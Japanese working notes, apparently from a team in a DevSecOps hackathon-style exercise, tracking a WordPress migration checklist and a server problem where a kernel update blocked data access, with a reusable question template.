- wordpressの物理データの移行 - 移動完了 - wordpressのDBの移動 - wordpressの設定 - 現在進行形 - DNSの設定 - みんなで行う - nginxの移動 - やる必要なし http://mng.devsecopsthon.local:9191/dashboard/ ## 考えられる原因 ## 対策方法 ## 報告書 # Q9 ## 現状の問題点 - カーネルアップデートをして、サーバーのデータにアクセスできなくなった。 - データをアクセスするために、カーネルバージョンをロールバックする必要 - mntを行ってデータを取り出す。 ## 対策方法 - ## 報告書 --- # Qテンプレート ## 現状の問題点 ## 考えられる原因 ## 対策方法 ## 報告書